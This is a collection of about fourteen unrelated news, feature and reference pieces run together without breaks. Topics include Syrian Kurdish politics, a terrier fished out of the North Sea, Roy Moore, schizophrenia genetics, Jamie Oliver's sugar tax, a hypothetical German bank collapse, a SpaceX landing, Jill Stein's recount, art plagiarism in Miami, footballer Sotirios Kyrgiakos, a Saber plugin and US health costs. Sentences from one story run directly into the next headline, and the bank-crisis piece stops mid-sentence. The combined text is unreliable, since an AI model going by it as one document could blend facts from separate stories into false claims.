Syrian Kurdish academic Dr. Mustafa Muslim, known for his opposition to policies followed by his brother Salih Muslim, said in an exclusive interview with Daily Sabah in January that Russia uses the PYD as a tool against Turkey. Refuting recent claims by PYD supporters that Ankara acts against Syrian Kurds, Muslim asserted that Turkey has been in solidarity with Syrians in general, and with Kurds in particular, at this critical moment in the Syrian civil war. Muslim, originally from Kobani in northern Syria, currently lives in Turkey's southeastern province of Gaziantep and works at the city's Zehra University.
In an interview published in the Al-Araby Al-Jadeed daily, a KRG military official said that the PKK and PYD are making the fight against DAESH more difficult for KRG peshmerga forces.
A peshmerga commander, Qassem Shasho, said that his forces had to postpone plans to liberate Sinjar, a strategically important location in the region, from DAESH because of the PKK presence in the area.
Shasho told the daily that they had hoped to launch an attack against DAESH in the beginning of November, but the PKK and PYD prevented the planned attacks.Fishermen catch a DOG a mile out in North Sea
Two fishermen were left reeling in surprise when they caught a DOG a mile out at sea.
At first when they spotted the animal swimming against the tide they thought it was an otter, but when they realised that it was a dog the two lifted him on board.
Freddie, a 14-year-old cairn terrier, was later reunited with his owner - who revealed that he dislikes water so much that he hates taking a bath and avoids walking through puddles.
Bedraggled: Freddie shivers in the arms of trawlerman Jimmy Thompson after being fished from the North Sea
He had become disorientated in the fog while on a walk with owner Jean Brigstock and had slipped into the water as the 73-year-old searched frantically for him.
And instead of swimming back to shore at Amble, Northumberland, he had mistakenly struck out for the deeps of the North Sea.
Mrs Brigstock said: 'It was a beautiful day, and I was taking him on his usual walk, but all of a sudden, a heavy sea fret set in quickly, and I couldn't see Freddie anymore.
'I looked for him for hours, and others helped. There was no sign of him, but I was convinced he would eventually turn up.'
Saved: Owner Jean Brigstock cradles Freddie on Amble beach in Northumberland after his narrow escape
She added: 'I was desperate. He's my companion and he's so important to me.
'I knew he hated water so I thought he'd head for the dunes rather than the sea. It really didn't enter my head that he would swim.
'He rarely goes through a puddle and has an aversion to baths.'
But Freddie was found three quarters of a mile out to sea after a long doggy paddle and was rescued by trawlermen Jimmy and Alan Thompson from Red Row, Northumberland.
A lifeboat was launched to collect the dog because their trawler was not yet due to return to shore.
By chance, Mrs Brigstock's daughter Wendy, who had taken over the search for Freddie, came across the wife of one of the fishermen, who told her they had found a dog.
Mrs Brigstock adopted Freddie as her own three years ago after his previous owner, a friend, went into a nursing home and was no longer able to look after him.
She said: 'He looked like a drowned rat when they found him.
'I'm so grateful to the two fishermen, the Coastguard and the inshore lifeboat men who took so much trouble to find him and take him to safety.'
Sea-dog Freddie, 14, is no worse for wear after his ordeal. He was taken to the vets but found to be unscathed.
Mrs Brigstock said: 'Freddie is back to his normal self. I'm not surprised he survived - he's a bit of a character really.
'The night he was rescued, he was a little bit under the weather. He was quite quiet and feeling sorry for himself. But the next morning he was ready for his breakfast.'Thursday on MSNBC’s “Deadline: White House,” host Nicolle Wallace said Senate Republicans in Washington D.C. needed to call out the “outside the bounds” comments of former Alabama Supreme Court Chief Justice Roy Moore, who won the GOP primary runoff election for U.S. Senate. over Sen. Luther Strange (R-AL).
Wallace said, “That was Republican Sen. Jeff Flake criticizing Republican Senate candidate Roy Moore over his most inflammatory positions, including for his support of the conspiracy theory that former president Barack Obama wasn’t born in the United States, among others too offensive to play on TV. Today on Capitol Hill, some Republicans are claiming they’ve never heard of him or the controversy that surrounded him for decades. The chances are Moore will win the Alabama general election in December and join the ranks as a colleague in the Senate.”
When Bill Kristol said this was the President Donald Trump phenomena on the party, Wallace shot back, “What? Just turn it into racists?”
She added, “The reason we can’t run—we can’t run any of Roy Moore’s comments, because when he talks about homosexuality, he uses words outside the bounds, even in the time of Trump, of civilized and acceptable public discourse, even on cable news. When he talks 9/11 and Newtown, it advances conspiracy theories. Can’t Republicans say, I urge you to vote for the Democrat in this case? Have I watch too many Aaron Sorkin movies to hope someone in our party can say, people of Alabama, don’t send this guy to the Senate.”
Follow Pam Key on Twitter @pamkeyNENMany psychiatric disorders are accompanied by memory deficits. Scientists have now identified a network of genes that controls fundamental properties of neurons and is important for human brain activity, memory and the development of schizophrenia. Their results have been published in the online edition of the journal Neuron.
The ability to hold transitory information - e.g. memorizing a telephone number - is a fundamental function of the human brain. This so-called working memory enables us to understand the world that surrounds us. To keep the working memory running, our brain uses a lot of energy, however, in many psychiatric disorders working memory is disturbed. Scientists of the Transfaculty Research Platform “Molecular and Cognitive Neurosciences” (MCN) at the University of Basel and the Psychiatric University Clinics have now described a network of genes that controls fundamental properties of neurons and is related to working memory, brain activity and schizophrenia.
Ion channels as key players
In the current study, Angela Heck analyzed the genetic basis of working memory in over 2800 healthy participants across different age groups. She then used bioinformatics methods in order to identify biologically meaningful groups of genes. The analysis revealed that one group of genes, the group of voltage-gated ion channels, was of particular relevance. These molecules are regulating a very basic property of neurons: their electric excitability. The same method was also applied to a population of over 32.000 participants, made up of both patients suffering from schizophrenia and healthy participants. Again, the ion channels belonged to the gene group with the strongest genome-wide effects.
In a further step, Matthias Fastenrath studied the brain activity of 700 healthy participants via functional imaging while they were were solving working memory tasks. The group of genes of the ion channels correlated strongly with the activity of two brain regions in the cerebrum and the cerebellum. Earlier studies have shown that these two brain regions are important for a functioning working memory. Molecules regulating the electric excitability of neurons are thus important for human working memory and neural processes of defined regions. Malfunctions of this mechanism may also contribute to the development of schizophrenia.
Starting point for drug development
The results of this study contribute to the understanding of the molecular basis of memory processes and psychiatric disorders. The findings provide a good starting point for the development of drugs aimed at treating memory-related and psychiatric disorders.Jamie Oliver was jubilant on Wednesday after the sugar tax he suggested made its away into George Osborne's budget.
The celebrity chef said on Instagram: "A profound move that will ripple around the world....business can not come between our Kids health!! Our kids health comes first
"Bold, brave, logical and supported by all the right people....now bring on the whole strategy soon to come... Amazing news"
The tax has two bands - one for 5g of sugar per 100g and one for over 10g of sugar per 100g.
However, some were angered by the tax, which won't only hit Fanta and Coca-Cola but gin and tonic.
The recipes for drinks on his website contain vast amounts of sugar.
A recipe for 'Holiday citrus slushies' on his site contains 23g of the hated white granules per serving, while another recipe for a 'passion fruit caipirinha' includes 4 tablespoons of brown caster sugar to make just two servings.
Photo: jamieoliver.com
One recipe promoted on his site calls for gammon to be cooked in four litres of coca-cola.
And it isn't just his drinks recipes which are heaped with sugar - one slice of the 'Children's Party Cake' which is promoted on his site contains 32.5g of sugar, which is three times the daily intake recommended for a child.
Photo: jamie oliver/guido fawkes
After the tax was announced, angered people trawled his website for sugary recipes.
Many people struck gold and tweeted the results.
This has ten times the sugar which is taxed in the lower band of the levy
Sugar tax? Eat healthily? I'll just leave this here.. https://t.co/w56Lol2LBy 53.1g sugar *per serving* — wafflycat (@wafflycat) March 16, 2016
This cake would give any child a sugar rush
Seventy grams of sugar per serving!
This T mysteriously disappeared. Look at the sugar in this recipe! https://t.co/sW0gxF5LX3 @jamieoliver — Salty Black Broad (@SaltyBlackBroad) March 16, 2016
This has over half the recommended intake of sugar in one slice
Hi @jamieoliver how much tax do I have to pay to make your nutritionally balanced recipe here on your website? pic.twitter.com/Dwjgz7iCG4 — NFL Tipster (@Nfltipster) March 16, 2016
What a sugary cordial!
Jamie Oliver celebrates his'sugar tax' whilst HIS OWN recipe for 1 litre of white peach cordial contains 250g of caster sugar! — UKIP Thirsk & Malton (@ukip_tm) March 17, 2016
It's better to eat a bowl of sugar-frosted flakes than his 'healthy' breakfast
Photo: @cjsnowdon/Twitter
This ham recipe will be more expensive after the tax
Jamie Oliver speaking in favour of #SugarTax after having a recipe to cook a ham in 3 litres of coke plus honey & Demerara in his book. — Sam Crow (@SirDickOfHearts) March 16, 2016
One slice of this sets you over your daily allowance
Anti-sugar campaigner Jamie Oliver's Christmas cake recipe.
A single slice is 123% of your daily sugar allowance. pic.twitter.com/85OKbbqUk7 — David MacLean (@GeordieStory) March 16, 2016
Jamie Oliver recommends three tablespoons of sugar per glass in this drink
After the shock of Osborne's announcement I'm going to have one of Jamie Oliver's cocktails. #honestsugar pic.twitter.com/3gFaqqCpV5 — Christopher Snowdon (@cjsnowdon) March 16, 2016
Britain will become one of the first countries in the world to introduce a sugar tax on soft drinks.
Mr Osborne’s sugar tax was the surprise announcement of the Budget and will raise £520million that will then be ploughed in to school sports programmes.
The levy, which will come into force in two years, will increase the price of a can of Coca-Cola by around 8p.
Sugar tax
The Chancellor said: "I am not prepared to look back at my time here in this Parliament, doing this job and say to my children's generation 'I'm sorry. We knew there was a problem with sugary drinks.
“We knew it caused disease. But we ducked the difficult decisions and we did nothing'.”
It will be imposed on companies according to the volume of the sugar-sweetened drinks they produce or import.
The Treasury believes that companies will start reducing the content of their sugary drinks to avoid the tax.
Sweet coffee, tea, hot chocolates and milkshakes, which can contain up to 25 teaspoons of sugar, are exempt because they contain milk. Pure fruit juices will also not be taxed.Let's pretend it's the summer of 2021. German Chancellor Ursula von der Leyen is hoping for a quiet campaign and an easy victory in national elections for her conservative Christian Democrats and their coalition partner, the Green Party. But then a bomb drops. Due to misguided speculation on offshore wind parks, Deutsche HypoCommerz -- an institution created through a series of mega mergers of Deutsche Bank, HypoVereinsbank and Commerzbank that has become Europe's largest lending bank -- is in trouble.
For the first time, new bank crisis rules -- agreed to eight years earlier in a late-night meeting of EU finance ministers -- have to be applied. Systemically relevant Deutsche HypoCommerz has to be wound down. Bank shareholders lose all their capital as do bondholders. Because that money together isn't enough to cover the major bank's liabilities, customers with deposits of more than 100,000 ($130,000) are also forced to cough up.
Taxpayers Can Breathe Easy -- In Theory
Taxpayers, by contrast, are able to breathe easy -- at least in theory. In contrast to the 2007 financial crisis, they aren't being forced this time to pony up for the gambling undertaken by major banks -- at least in theory. In contrast to 2008, the bank bailout won't throw entire countries, as was the case with Ireland or Spain, into a debt crisis -- at least in theory.
In practice, however, things look different. Banking industry lobbyists and economists alike warn in unison of the terrible consequences a winding down of Deutsche HypoCommerz would have on the European economy. The president of the German banking association also warns of a "crisis of confidence," of the threat of "capital flight out of the euro zone" and of a resulting credit crunch that "could hit Germany's small- and mid-sized companies, with its millions of employees, especially hard."
In the New York Times, Paul Krugman grouses at Europe for sticking naively to principles instead of living up to its responsibility at a time when the global economy is teetering on the abyss. Meanwhile, the governor of the state of Hesse, warns |
Twice before, SpaceX attempted soft landings of the Falcon 9's first stage on the water. The first time, it tipped sideways and crashed into the ocean. The second time, it was successful.
Now, the big test: going from supersonic speeds to nearly zero and deploying legs to land on a floating platform.
The rocket is tall, 14 stories, and there's a 50-50 chance of success. But if all goes well, SpaceX will secure the rocket, then the floating platform, with the rocket upright, will make its way to JAXPORT. It could take up to two days to get there.
The journey will include going under the Dames Point Bridge. From the top of the rocket to the bottom of the bridge, there’s only 10 feet of clearance during low tide.
Everything hinges first on a successful launch Saturday and on a successful landing. Then, expect to see some pretty cool pictures of a huge rocket floating down the St. Johns River on its way to JAXPORT next week.
For Action News on the go, sign up for Action News Mobile & Email alertsGreen Party presidential candidate Jill Stein has dominated the news cycle over the past four days after igniting a country-wide effort challenging the results of the election. And yet she's making news here again with a bizarre little Twitter rant against Hillary Clinton and Donald Trump that has Twitter users... puzzled.
First, let's recap. Stein announced a crowdfunding effort on Wednesday to raise money for a vote recount in Wisconsin, Michigan and Pennsylvania, after a New York Magazine article suggested someone may have hacked voting machines in Wisconsin to tip that state's ballots for Trump.
That suggestion was almost immediately discredited by polling experts, but the campaign took off anyway, generating millions of dollars. It was so successful that even the Hillary Clinton campaign took notice, saying on Saturday that it would help execute the recount. Later on Saturday, Donald Trump called the effort a "scam."
Then, Stein started tweeting.
Has anyone wondered why no other campaign has requested a recount with so many questionable results? #Recount2016 — Dr. Jill Stein (@DrJillStein) November 26, 2016
Why would Hillary Clinton—who conceded the election to Donald Trump—want #Recount2016? You cannot be on-again, off-again about democracy. — Dr. Jill Stein (@DrJillStein) November 26, 2016
Why would Hillary Clinton—who holds "public" and "private" positions—want to engage in something as transparent as #Recount2016? — Dr. Jill Stein (@DrJillStein) November 26, 2016
Clinton + Trump: Want democracy? Enact proportional representation voting systems for legislative offices—from the local to federal levels. — Dr. Jill Stein (@DrJillStein) November 26, 2016
Clinton + Trump: Want democracy? Help enact Ranked Choice Voting for single-seat offices like president and other chief executive positions. — Dr. Jill Stein (@DrJillStein) November 26, 2016
As some folks on Twitter pointed out, part of this could be Stein cashing in on her headline-making moment to get a few jabs in at the Democratic and Republican party.
I mean, strategically, what Stein is doing makes sense for her: attempting to undermine the legitimacy of both main parties. — Chris Geidner (@chrisgeidner) November 26, 2016
But other parts are more odd. The Clinton campaign said Saturday morning that they were not going to pursue a recount effort on their own, and that they'll only assist in the execution of the effort now that Stein's team has begun in Wisconsin. Attacking Clinton for wanting to be a part of the recount effort, then, seems either disingenuous or ill-informed.
In case you were inclined to revise your judgment of Dr. Stein as a preening egotist... https://t.co/EG5H4LRvOW — Jody Rosen (@jodyrosen) November 26, 2016
.@DrJillStein What are you thinking with this? Do you not understand this sort of rhetoric is one reason Trump won? — Phil Plait (@BadAstronomer) November 26, 2016
@DrJillStein Just when I was almost ready to acknowledge she was doing something good for once, she reverts to her usual assholishness. https://t.co/kN5t8ypsgr — Charles Johnson (@Green_Footballs) November 26, 2016
Stein has also continually made it seem as though ballots across the country are in doubt. It is, of course, possible she has information not available to the public. But her recount effort came just after the extremely skeptical hacking allegations in Wisconsin, and there are no tangible signs of the "many questionable results" she tweeted about.
Recounts are useful even if they're not expected to generate a wildly different tally of votes. They can provide insight into minor anomalies and can make states aware of why backing up electronic voting systems is necessary. But Stein's recount campaign has so far been tinged with a sense of alarm that doesn't seem to hold up against evidence.Jason Levesque, a Virginia-based artist, was strolling through Scope Art Fair this weekend, thinking about how much he'd love to be exhibiting there, when suddenly he turned a corner to find two of his images on sale. The only problem was, they didn't have his name on them. A Miami-based artist named Josafat Miranda, Levesque quickly realized, had repainted his distinctive work with no credit. What's more, Levesque immediately found several images copied from Marie Killen, another photographer and friend of his. "I was shocked," Levesque tells Riptide.
The artist took to Facebook to call out Miranda's theft, and less than two days later, Miranda has disappeared from the Web amid a flurry of furious comments. His Wynwood gallery has pulled all of his work, cancelled his pending sales and apologized to Levesque.
(Update: Miranda has contacted Riptide, saying the controversy had "damaged his life." "I don't have a gallery. I don't have a job," he says. Click through for his full response.)
Continue Reading
"It's such blatant disregard for another artist's talents," says Robert Fontaine, whose Wynwood-based gallery was selling Miranda's work at Scope. "I completely pulled all of his work. I don't want anything more to do with him."
Fontaine has been representing Miranda, who is also based in Miami, for about a year. Miranda painted women in distinctive profile splashed with gaudy colors, and while he hadn't sold particularly well, Fontaine says he saw talent in the young artist's work. At Scope, the Robert Fontaine Gallery presented five pieces by Miranda for sale, most for around $4,000.
But as Levesque quickly noticed, Miranda's eye-catching imagery wasn't born of his own imagination. At least five of his paintings were clear copies of Levesque and Killen's photography.
Levesque says he was "shocked" and quickly posted photos of the work to Instagram, but held off calling theft on the artist. First, he called Killen and even went to Fontaine's gallery to pick up postcard sized reproductions of Miranda's pieces.
"I'm not a very angry guy, and I'm very reluctant to pull the trigger on something like this," he says. "It's a crushing blow to an artist. I'm in no way mean or vindictive or wanting to see that happen."
But Levesque decided he needed to take a stand on Miranda's copying. So yesterday, he lined up side-by-side images of his work, Killen's photography and Miranda's paintings. Here is one of Levesque's pieces versus Miranda's:
And here are Killen's pieces:
Within hours, Fontaine's gallery got wind of the accusations. Fontaine said he didn't even bother to call Miranda to hear his side of the tale.
"There was no reason to contact him," Fontaine says. "I'm going to put his stuff in a box and he can come pick it up if he wants to."
Levesque says Miranda did send him a message yesterday. The artist apologized, but called his work a "tribute" -- an explanation that didn't sit well.
"A Beatles cover band calls themselves a Beatles cover band," he says. "Even if my name had been on there, it still would have been a problem, but he kept the source work a secret."
Levesque's posts have blown up. His initial Facebook post has attracted more than 200 comments and shares, and a Reddit post on the theft has earned almost 500 upvotes.
The one positive from the affair, Fontaine and Levesque agree, is how it demonstrates the self-policing power of the artistic community online.
"The art world polices itself, and that's what's happening here. It's great," says Fontaine. "This is someone copying another contemporary artist, another peer, someone parallel in that career tract with him. That's just ridiculous."
Levesque says that's why he ultimately decided to call out Miranda on the web. Too many artists look down on photography as a medium open to outright theft, he says.
"I know for a fact a lot of those painters don't think of the photography as art," he says. "They see it as raw material. Look as this photo, I could make it art. They don't realize everything that went into that composition, or think through what they're doing."
As for Miranda, he's all but disappeared online, with his Facebook profile erased and his gallery listing scrubbed from Fontaine's site. Riptide left a message on his cell phone to hear his side of the story, but he hasn't responded. If we hear back we'll update the post.
Levesque says he hopes Miranda learns from the experience and doesn't stop painting.
"I sent him a note back and... told him I sincerely hope you can pick up a camera and shoot your own reference material," he says. "You have talent. Done the right way you'll have no problem. I really do hope that works out for him."
Update: In an interview with Riptide, Miranda didn't deny lifting Levesque and Killen's images off the Internet. Instead, he called his paintings "homages" to the photographs.
"I didn't steal these images," he says. "My only mistake was not giving the original artists credit. I've now spoken to them and apologized to them. We came to the agreement that I have to take everything down and destroy it, which is exactly what I'm going to do."
He said the controversy, including an outpouring of anger online, had "damaged his life."
"Now everything is all fucked up," Miranda said. "I don't have a gallery. I don't have a job. I don't have any way to make money... Now nobody wants to buy my work, even though most of it isn't a copy of anything. I'm not a millionaire! I live in a tiny little room and people think that I'm some famous millionaire. It's not the case."
He continued: "People are cursing me online, wishing I were dead. In my series there is no specification because it's not a projection of'my work.' There are millions of piece of art in the world by millions of artists. Yes, I made a mistake by not giving the original artists credit, but those who live in glass houses shouldn't throw stones. It's art."
Staff writer Michael E. Miller contributed to this report.
Follow Miami New Times on Facebook and Twitter @MiamiNewTimes.Sotirios Kyrgiakos (Greek: Σωτήριος Κυργιάκος) (born 23 July 1979) is a retired Greek footballer who played as a central defender internationally for the Greece national team and most notably for Liverpool.
Club career [ edit ]
Kyrgiakos made his first football steps with a local team, Thyella Megalochoriou. It did not take long for him to be recognized. At the start of the 1996–97 season he became a member of the Panathinaikos football academy. He is well known as alani. He lived and played football at the Paiania athletic complex, the club's training ground. In the wake of the 1999–2000 season he became a member of Agios Nikolaos, a second division club and won the respect of president Lampros Maris whom Kyrgiakos considers as his second father. He stayed with Agios Nikolaos for two years and in 2001 he took part in the pre-season camp at OFI Crete.
The centre-back injuries at his parent club, Panathinaikos, just before the Third Qualifying round matches with Slavia Prague for the 2000–01 Champions League meant that he had to return to Paiania and become a regular member of the starting line-up. In the 2003–04 season, Kyrgiakos won with Panathinaikos the Greek League and Greek Cup against the eternal rival Olympiacos.
Rangers [ edit ]
The following January, Kyrgiakos joined Rangers during the 2004–05 season with a view to a permanent deal. With his new club, he won a second consecutive championship and also the Scottish League Cup, scoring two goals in the 5–1 win against Motherwell in the final.[2] He initially failed to agree terms with Rangers and held talks with Everton, Portsmouth and Schalke 04 and the Italian club Genoa before finally agreeing a one-year deal with Rangers.[3] He scored a famous winning goal against F.C. Porto in the UEFA Champions League that year,[4] and ended the season with three goals after also scoring against Peterhead in the Scottish Cup[5] and Dunfermline in the league.[6] He left the club by mutual consent in May 2006 after his contract ran out.[7]
Eintracht Frankfurt [ edit ]
In June 2006, Kyrgiakos signed a two-year deal with Eintracht Frankfurt.[8] In his first season, he proved to be a fan favourite with some great performances and crucial goals which helped the team avoid relegation. In his second season with the club, with more excellent performances he helped the team finish in ninth position. On 1 July 2008, after his two-year deal expired, Kyrgiakos decided not to renew his contract with the German club, and so was released.
AEK Athens [ edit ]
On 1 August 2008, Kyrgiakos agreed to sign for AEK Athens on a five-year deal.[9] Due to a number of injuries, Kyrgiakos only made 20 league appearances for AEK but he still established himself as one of the league's best defenders. He played in the Greek Cup Final in 2009 as AEK played Olympiacos in one of the most thrilling games in the history of Greek football. Kyrgiakos was on the losing side as Olympiacos won 15–14 on penalties following a 4–4 draw after extra time. Kyrgiakos did not manage to complete the match though having picked up an injury in the second half of the match. AEK were winning 2–1 at the time.[10]
Liverpool [ edit ]
2009–10 season [ edit ]
Kyrgiakos in training for Liverpool on the far left
On 21 August 2009, it was announced that he had signed a two-year deal with the option of a further year for Liverpool. The Greek international was handed the number 16 shirt. Kyrgiakos scored his first goal for the club against Stoke City on 16 January 2010 in the 57th minute and also completed the full 90 minutes in a 1–1 draw alongside Martin Škrtel at the Britannia Stadium, later being named man of the match by various British sport sites for his performance in that match.[11][12][13] On 17 January 2010, former Liverpool striker and football pundit/journalist Stan Collymore wrote an article acknowledging Kyrgiakos' ability, stating that "Kyrgiakos may be keeping Rafa (Benítez) in a job...". Collymore argued that "Sotirios Kyrgiakos could become an unlikely poster boy for the 'new Liverpool.'" He stated, "The big pony-tailed Greek put in a sterling performance at The Britannia and may typify the less football, more grit of the new Reds... And it is no-nonsense men such as Kyrgiakos who like to roll up their sleeves which can keep Rafa in a job right now."[14] Liverpool's very next game was a crunch-match against Tottenham Hotspur, who were perceived as one of the clubs rivalling Liverpool for fourth in the Premier League table.[15] Liverpool won 2–0 and Kyrgiakos put in another solid performance, one described by Sky Sports as "magnificent."[16]
Kyrgiakos' fine form continued in the very next game as Liverpool kept a clean sheet in a 0–0 draw away at Wolverhampton Wanderers on 26 January 2010. An esteemed British sports site rated him as Liverpool's best player that night,[17] he was also voted man of the match in this game by the Liverpool fans on the clubs official website.[18] Meanwhile, the legendary Liverpool striker Ian Rush also praised Kyrgiakos, stating that he is ready to fill the void left behind by Sami Hyypiä.[19]
Kyrgiakos' performances had been so impressive that the British sports journalist, Steven Saunders, identified Kyrgiakos as "One To Watch" in the preview to Liverpool's home game against Bolton Wanderers on 30 January 2010. Saunders stated Kyrgiakos' "physical presence in the heart of the defence has been key to a spirited resolve in recent matches. Teams are having to work hard to score against Liverpool, which hadn't always been the case before Kyrgiakos' sustained run in the side."[20] In the build-up to that match, Liverpool manager Rafael Benítez also took time to praise Kyrgiakos and make comparisons between Kyrgiakos' role for the club and Sami Hyypiä's role when he was at the club, suggesting that Kyrgiakos had established himself as an integral part of the Liverpool squad.[21]
Kyrgiakos was voted man of the match against Bolton on 30 January 2010 by Liverpool fans for the third time in four games.[22]
Kyrgiakos' brilliant performances during January 2010 saw him voted as Liverpool's Player of the Month by the club's fans.[23] Kyrgiakos was sent off for a two-footed dive into Marouane Fellaini in the 213th Merseyside derby between Liverpool and Everton on 6 February 2010, which eventually ended 1–0 in Liverpool's favour. Fellaini suffered an ankle injury which kept him out until August 2010.[24]
2010–11 season [ edit ]
On 29 July, Kyrgiakos started in Liverpool's UEFA Europa League tie against Rabotnicki Skopje and also featured in both play-off ties against Trabzonspor. On 16 September, he partnered Daniel Agger at centre-back for the red's first Europa League group game against Steaua București at Anfield, Liverpool cruising to a 4–1 win. On 22 September, he captained the team that lost to League Two side Northampton Town on penalties in the third round of League Cup.
Kyrgiakos scored his second goal in Premier League against Blackpool, where Liverpool lost 1–2 at home. As instructed by the manager, Kyrgiakos has recently been played up front as a target man at times when Liverpool has been down in the final minutes and has needed a goal.[25] He also scored an important goal against Blackburn Rovers in the Premier League in a 2–1 win at Anfield on 24 October 2010 to end Liverpool's run of six games without a win.[26] In June 2011, it was announced that Kyrgiakos would get a 12-month contract extension at Anfield after his initial two-year contract expired.[27]
After 49 appearances and three goals for the Reds, Kyrgiakos left the club for Bundesliga side Wolfsburg on 22 August 2011.[28]
Wolfsburg [ edit ]
After discussions with Wolfsburg manager Felix Magath, the Greek defender was quoted as saying, "I am very happy to be joining Wolfsburg. I want to help the VfL finish the season in as high a position as is possible."[29] Magath was hoping that Kyrgiakos made an immediate impact in German football: "Kyrgiakos is a player who will step in straight away to help. He is experienced, knows the Bundesliga and does not need time to adapt. With his commitment, we are able to strengthen defensively." It was later confirmed that he switched on a free transfer after speculation regarding a transfer fee.[29]
Loan to Sunderland [ edit ]
On 31 January 2012, Kyrgiakos signed for Sunderland on a loan deal lasting until the end of the 2011–12 season.[30]
Sydney Olympic [ edit ]
On 1 March 2014, Kyrgiakos signed for Australian club Sydney Olympic for a two-game contract.[31] He was officially unveiled as a Sydney Olympic player at a press conference at the Alpha Restaurant in Sydney. Kyrgiakos stated in the press conference, "It's a beautiful thing for me to come to Sydney and play football in Australia. I wanted to experience this opportunity and this opportunity was available for a handful of games and that's really it, that was the proposal from the club. I will be thrilled to get to know Australian football and experience it and it's very significant that I'm coming to a very historic club with great Greek support." He made his debut for the club on 23 March 2014 in round two of their NSW State League match against Blacktown Spartans at Belmore Sports Ground, where they lost 3–1.
International career [ edit ]
Kyrgiakos made his senior international debut on 13 February 2002 against Sweden, scoring his first goal against Norway one year later on 13 February 2003. Kyrgiakos was unavailable to Greece for Euro 2004 due to a knee injury, missing out on their historic triumph.[32]
He scored three goals during Euro 2008 qualifiers and was selected in the final squad to represent Greece in the final tournament.[33] Kyrgiakos also contributed to the qualification for the 2010 FIFA World Cup. In a surprising decision, he announced his retirement from the Greek national team on 13 August 2010.[34] Kyrgiakos ended his international career prematurely with 61 caps and four goals for Greece because of in-fighting within the Greek national team squad.
Honours [ edit ]
Club [ edit ]
Panathinaikos
Rangers
Individual [ edit ]
Liverpool Player of the Month: January 2010, October 2010We like the folks over at Video Copilot. They have maybe done more than anyone in helping educate After Effects artists, and bringing great AE tools to the world. Some of their premium plug-ins are the best around. They also have loads of great presets and some killer free plugins.
But they’ve just released a new plug-in that looks pretty impressive and it’s 100% free. So, let’s take a look at the latest that Video Copilot has to offer.
For Starters
The new free plugin from Video Copilot is called Saber. Does that name bring anything to mind? Maybe a snaggle-toothed tiger? A car? It’s actually a reference to the famous lightsabers of the Star Wars franchise.
Andrew Kramer worked on the last Star Wars film and it sounds like he was inspired by it to create this plug-in.
Of course, it’s not just limited to creating lightsabers, it can be used for all sorts of light energy effects. Think portals, energy currents, bolts of lightning, etc. As with all Video Copilot products, this plug-in is robust and full of features. Never mind that it’s free, it’s still a professional tool for created stunning visual effects.
Take a look at the Saber trailer for some ideas of how it can be used.
Features
As we mentioned above, for a free plug-in, there is no shortage of features in Saber. The foundation of Saber is a light beam that is created by dropping the plugin on a solid layer.
Once the “saber” effect is in place, there are several controls to adjust the look of the effect. Controls for color, light fall-off, glow intensity, spread, and glow bias give you a range of unique options right out of the gate.
Dropping into the core customizations allows you to really start changing up how the plug-in works. For instance, you can lose the saber element and apply the effect to a mask or a text layer.
You can change things like beginning and end, and offset. These are similar features to what you might see in a stroke effect.
Digging even further into the plug-in, users can add different types of noise and distortion to their effects to bring in smoke, and bolt light characteristics.
But perhaps one of the best features built into Saber is the 25 presets that come loaded in the plug-in. These run a wide range of looks and customizations that are perfect for starting places on your own custom effects.
Changing an effect to one of the presets won’t mess with your animation at all. So, you can easily try a bunch of presets to see what you like. Once a preset is selected, you can go back to the plug-in and customize all of the features like color and intensity to your liking.
Saber also supports layering the effects to build more complex and unique effects. There is almost an endless number of possibilities for the looks that you can build.
Conclusion
Even if Saber wasn’t the feature-rich, professional plug-in that it is, we’d recommend you trying it out. After all, it’s totally free. But luckily, Saber is a really smooth and super customizable plug-in that would probably find a bunch of customers if it came at a price.
Since it is free, please support Video Copilot and give it a try. You might be surprised and what kinds of looks you can coax out of the plug-in and you might find all sorts of new uses for it. If not, enjoy playing with your lightsaber.
Are you using the Video Copilot Saber plug-in already? Let us know what you think of it, and what kind of projects you are using it for. Leave us a comment below.If you can dodge the odd rock and handle moderate rapids, kayak guide Naomi Kilby says the stretch of Barrington River at Bindera is the perfect white-water adrenalin rush.
But outdoor enthusiasts say the public is being shut out of this and other popular nature spots as the NSW government sells thousands of Crown roads, denying access to bushwalkers, kayakers, fishers and other recreational users.
Brian and Naomi Kilby oppose the closure of a road running through a farm that gives their family access to the Barrington River. Credit:Jonathan Carroll
In less than three years, more than 5000 publicly owned roads have been sold to private landholders, pouring more than $43 million into the state's coffers – a move the government says benefits farmers, generates revenue and cleans up the unwieldy Crown roads system.
However critics say the roads provide important routes to waterways, public reserves and other areas of Crown land – access that is being lost to the public forever.Surgeons perform surgery in hospital (AFP)
Health costs in the United States surged in the decade to 2010 along with the tally of Americans without medical insurance, but both trends then improved, a study said Monday.
From 2000 to 2009, the annual bill per person, public and private spending combined, soared from $5,152 (3,762 euros) to $7,010 but from 2009 to 2011 only slightly, to $7,212.
In 2002, the annual increase was about seven percent — more than twice the rate in five other advanced economies — but fell in 2011 to about one percent, putting the United States on a par with Canada, France, Germany, the Netherlands and Switzerland, according to an investigation published in The Lancet medical journal.
Though the numbers improved, the US medical system remained at the bottom in terms of public access to health services, it added.
From 2000 to 2010, the number of people without health insurance rose “dramatically” from 36.6 million to almost 50 million, mainly as a result of the economic downturn and unprecedented levels of immigration, the report found.
In 2011, after President Barack Obama’s Affordable Care Act took effect, the number of uninsured fell back by 1.3 million, “although more data are needed before this trend reversal can be interpreted as true,” it said.
The study compared the United States with five other countries monitored from 2000 to 2011.
It found spending in Canada rose from US$2,757 to $3,796 per person per year; in France from $2,784 to $3,359; in Germany from $3,027 to $3,808; in the Netherlands from $2,549 to $4,110; and in Switzerland from $3,553 to $4,338.
The investigation, authored by experts at the Organisation for Economic Cooperation and Development (OECD), said the main reasons for the huge gap were higher hospital costs and bills for prescription drugs in the United States than in other countries.
Health administration charges, too, were usually far higher — three times greater than in Canada, for instance.
The study praised the United States for making “great efforts” to lift itself off the bottom of the OECD’s health coverage table and to contain growth in spending.
But it warned further commitment was needed if US economic recovery was sustained, which could push the health bill up once more with higher insurance premiums.
“The USA is an outlier in the scenery of OECD healthcare systems, for its staggering levels of expenditure, the extent of fragmentation of its system and the sheer complexity of its administration, the power of vested interests, and the large number of people left without adequate health coverage,” the paper said.The violence enveloping Egypt has grown worse in recent days, with attacks on security forces across the country and more than 50 people killed in clashes between anti-government protesters and police. Some see it as a backlash to the heavy-handed tactics of the military, which toppled Islamist President Mohamed Morsi.
The violence engulfing Egypt is escalating, with militant attacks on security forces and clashes between protesters and police. Some predict it will only lead to a greater military crackdown with worsening consequences.
